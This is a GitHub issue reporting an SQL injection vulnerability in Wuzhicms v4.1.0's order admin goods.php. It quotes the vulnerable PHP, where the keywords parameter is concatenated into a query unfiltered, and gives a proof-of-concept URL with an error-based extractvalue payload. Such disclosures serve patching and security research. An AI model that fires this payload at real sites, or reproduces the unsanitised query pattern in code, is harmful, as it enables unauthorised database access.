Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Wuzhicms v4.1.0 coreframe/app/order/admin/goods.php hava a SQL Injection Vulnerability #144

Open
sqlsec opened this issue Jul 20, 2018 · 0 comments

Comments

@sqlsec
Copy link

sqlsec commented Jul 20, 2018

Vulnerability file

coreframe/app/order/admin/goods.php

$keywords = isset($GLOBALS['keywords']) ? trim($GLOBALS['keywords']) : '';
$status_arr = $this->status_arr;
$page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
$page = max($page,1);
$where = '';
if($cardtype!=-1) {
    $where = "cardtype='$cardtype'";
}
if($keywords) {
    if($keytype==0) {
        $where .= $where ? " AND order_no LIKE '$keywords%'" : "order_no LIKE '$keywords%'";
    } elseif($keytype==1 && $keywords) {
        $r = $this->db->get_one('member', array('username' => $keywords));
        if($r) {
            $uid = $r['uid'];
            $where .= $where ?  " AND uid = '$uid'" :  "uid = '$uid'";
        } else {
            MSG('用户不存在',HTTP_REFERER);
        }
    }
}

The $keywords parameter is taken directly into the execution without any filtering. 

POC

/index.php?m=order&f=goods&v=listing&_su=wuzhicms&_menuid=220&search=&cardtype=-1&keytype=0&keywords='and+extractvalue(1,concat(0x7e,md5(123)))%23


The page shows the value of md5(123)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant